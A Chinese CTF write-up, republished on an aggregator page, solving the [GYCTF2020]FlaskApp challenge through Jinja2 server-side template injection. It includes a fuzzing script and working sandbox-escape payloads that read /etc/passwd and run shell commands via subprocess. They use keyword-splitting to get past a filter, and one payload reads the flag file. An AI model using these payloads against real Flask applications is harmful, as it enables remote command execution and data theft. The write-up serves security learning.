当前位置: 首页 > news >正文

[GYCTF2020]FlaskApp

根据题目,这道题应该是flask。在加密的地方输入{{7*7}}正常回显其base64编码,然后将编码放到解密的地方出现回显nonono,说明过滤了什么。看来突破点在解密的地方。

输入 {{}} 的编码,出现报错,然后还能看到源码:

有waf过滤,利用脚本测试一下: 

import base64import requestsurl1 = 'http://2d0cf127-50a4-461e-98d7-41c83461a237.node5.buuoj.cn/decode'with open('fuzz.txt', "r") as file:headers = {"Cookie": "session=eyJjc3JmX3Rva2VuIjoiYTkxNGM4YWI3NmFkNmE1OTFhNjkxNzRkZWYzNDZkZDM5NDcyNmQyZCJ9.aI8Tag.edj4l963JVxa4BtqoCwKDETV9Bs"}for line in file:text = base64.b64encode(line.encode('utf-8'))data = {"csrf_token": "ImE5MTRjOGFiNzZhZDZhNTkxYTY5MTc0ZGVmMzQ2ZGQzOTQ3MjZkMmQi.aI8Tag.bgJlC6OvbEgS7UDSiMqhwe4kMv0","text": text,"submit": "%E6%8F%90%E4%BA%A4"}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "no no no !!" in r.text and "jinja2.exceptions.TemplateSyntaxError" not in r.text:print(f"{line}")

import

eval

os

subprocess

commands

popen

popen2

popen3

popen4

system

request

*

AI给的字典,所以可能不全面。 

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载, 这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

尝试使用

执行语句{{''.__class__.__mro__[1].__subclasses__()}}出现502 Bad Gateway,如果不是被过滤的话那就可能是返回的数据太多。尝试一下{{''.__class__.__mro__[1].__subclasses__()[40]}},返回<class 'wrapper_descriptor'>说明没有被过滤。

那我们需要减少一次性返回的数量,可以使用切片。

{{''.__class__.__mro__[1].__subclasses__()[0:200]}}

{{''.__class__.__mro__[1].__subclasses__()[200:400]}}

{{''.__class__.__mro__[1].__subclasses__()[400:]}}

可以通过循环获取名称进一步减少输出内容

{% for cls in ''.__class__.__mro__[1].__subclasses__()[0:500] %} {{ cls.__name__ }} {% endfor %}

{% for cls in ''.__class__.__mro__[1].__subclasses__()[500:] %} {{ cls.__name__ }} {% endfor %}

可以找到有WarningMessage。

特殊变量 __builtins__:全局命名空间中通常会包含 __builtins__ 键,其值指向内置命名空间(或内置模块 builtins),使得模块内可以直接访问内置内容(本质是通过 __builtins__ 间接引用)。

内置命名空间是 Python 解释器自带的 “基础库”,包含所有内置功能,全局有效,随解释器启动而存在。

全局命名空间是单个模块的 “局部仓库”,包含模块内定义的内容,仅在模块内有效,随模块导入而存在。

在模板注入场景中,沙箱通常会限制直接访问危险函数(如 open,system),我们可以通过__builtins__.open()来逃逸。但是大部分时候__builtins__也被限制,我们可以通过x.__init__.__globals__['__builtins__']来逃逸,原理:

1. x:精心选择的 “跳板类”

x 是从 object.__subclasses__() 中筛选出的某个类(通常是沙箱未严格过滤的类,如 WarningMessageException 等系统内置类)。这类类的特点是:

  • 在沙箱环境中默认加载(未被删除);
  • 其构造方法 __init__ 的全局命名空间未被沙箱清理,仍保留 __builtins__ 引用。

例如,Python 中的警告处理类 WarningMessage 或异常类 Exception,它们的实现中通常依赖内置函数,因此其全局命名空间会保留 __builtins__。直接使用未定义的变量名也是可以的。

2. x.__init__:类的构造方法

__init__ 是类的初始化方法(构造函数),属于函数对象。函数对象在定义时会记录其所在的全局命名空间(即定义该函数时的上下文变量环境),并通过 __globals__ 属性暴露。

3. __init__.__globals__:构造方法的全局命名空间

__globals__ 是函数对象的关键属性,返回一个字典,包含该函数定义时可访问的所有全局变量。对于大多数系统内置类(如 WarningMessage),其 __init__ 方法在定义时会引用 __builtins__ 中的函数(如 strlist 等),因此其 __globals__ 字典中必然包含 __builtins__ 键。

4. ['__builtins__']:从全局命名空间中提取内置函数

通过 __globals__['__builtins__'] 即可从跳板类的全局命名空间中获取 __builtins__,此时得到的 __builtins__ 是完整的内置命名空间,包含沙箱试图屏蔽的危险函数(如 open__import__)。

 {% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }} {%endif%} {%endfor%}

{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}

可以成功读取。于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['sys''tem']('ls /') }}

但是发现只会回显命令返回的Code 0,并不会回显输出,于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('ls /', shell=True, text=True) }}

得到结果 : app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var

于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_flag.txt', shell=True, text=True) }}

发现被过滤了,应该是flag:

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_fl''ag.txt', shell=True, text=True) }}

拿到flag啦!

看了一下答案,这道题是想让我们通过ssti注入获得PIN码,然后获取交互Shell。不过并不用这么麻烦。

总结一下:通过这个题目我对沙箱逃逸有了粗略的理解,但是具体的解题思路并不明确,特别是感觉构造playload有很多方法,比如利用子类呀、全局变量呀、内置函数呀等等,还有如何绕过过滤,以及注入语法。有必要总结一下所有内容,形成知识体系。

http://www.dtcms.com/a/315355.html

相关文章:

  • 0804 进程
  • 【笔记】重学单片机(51)(下)
  • 数据结构——并查集及C++实现
  • Javascript面试题及详细答案150道(046-060)
  • 5天从0到1!用阿里Qwen3-Coder开发故障调度指挥室系统,运维也能搞定开发
  • 嵌入式 C 语言入门:函数指针基础笔记 —— 从计算器优化到指针本质
  • 文本转语音(TTS)脚本
  • 【项目实践】在系统接入天气api,根据当前天气提醒,做好plan
  • C语言的控制语句
  • 16day-人工智学习-机器学习-特征工程
  • 【世纪龙科技】虚拟技术助力职教汽车自动变速器拆装虚拟实训软件
  • RFID技术在汽车倍速链中的应用:驱动智能制造的隐形引擎
  • Windows/Linux入侵排查
  • CPP学习之多态
  • Python高频元素分析技术:高效找出序列中出现次数最多的元素
  • 【Unity3D实例-功能-镜头】第三人称视觉
  • FeiQ飞秋安装教程:FeiQ.1060559168 详细安装步骤(附注意事项)​
  • 【QT】常⽤控件详解(三)常用按钮控件PushButton RadioButton CheckButton Tool Button
  • 茗鹤工业低代码可视化技术开发平台
  • 网络相关命令
  • 全国计算机二级C语言二级考试通关笔记
  • 风光储并网协同运行simulink仿真模型实现
  • [找出字符串中第一个匹配项的下标]
  • MiDSS复现
  • Codeforces Round 1010 (Div. 2, Unrated)
  • 8.4IO进程线程——进程
  • MySQL 基本操作入门指南
  • 代码随想录day55图论5
  • 通往L4之路:构建自我进化的智能驾驶决策大脑
  • Dubbo 3.x源码(32)—Dubbo Provider处理服务调用请求源码